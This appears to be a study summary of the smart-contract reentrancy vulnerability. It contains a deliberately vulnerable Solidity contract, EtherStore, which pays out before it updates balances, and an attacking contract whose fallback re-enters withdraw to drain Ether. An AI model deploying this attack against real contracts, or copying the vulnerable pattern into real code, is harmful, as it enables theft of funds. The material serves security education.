# Smart Contract Security Studies - Reentrancy Attack Summary
This vulnerability occurs when a contract interacts with an external contract before modifying it's own local state variables. Which can sometimes be taken advantage of by placing a malicious fallback() function in the receiving contract.
![](https://i.imgur.com/pqJ3Bcf.png)
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
// VICTIM CONTRACT
contract EtherStore {
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value; // set the balance of the sender to whatever the sender sent
}
function withdraw() public { // (step 3 & 5 of diagram)
uint bal = balances[msg.sender];
require(bal > 0); // make sure balance is above 0
(bool sent, ) = msg.sender.call{value: bal}(""); // Send eth to the person calling withdraw
require(sent, "Failed to send Ether");
balances[msg.sender] = 0; // finally set balance of sender to 0
}
// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance; // return the balance of the contract
}
}
```
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
// ATTACKING CONTRACT
contract Attack {
EtherStore public etherStore;
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
// fallback() is called when eth is sent to this contract, as no other function identifier or data has been specified on behalf of the victim contract
fallback() external payable { // fallback function calls the withdraw function again - note that this is called before the victim contract reaches the `balances[msg.sender] = 0;` code, meaning the victim contract won't properly update the attackers balance, and the attacker will be able to steal more eth than what's expected (step 4 of the diagram)
if (address(etherStore).balance >= 1 ether) {
etherStore.withdraw(); // re-call the vulnerable function
}
}
function attack() external payable {
require(msg.value >= 1 ether);
etherStore.deposit{value: 1 ether}(); // initiate the attack by depositing 1 eth (see step one of diagram)
etherStore.withdraw(); // immediately withdraw 1 eth from the victim contract, triggering the reentrance attack. (step 2 of diagram)
}
// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
```
### Resources:
- https://www.youtube.com/watch?v=4Mm3BCyHtDY
- https://consensys.github.io/smart-contract-best-practices/attacks/reentrancy/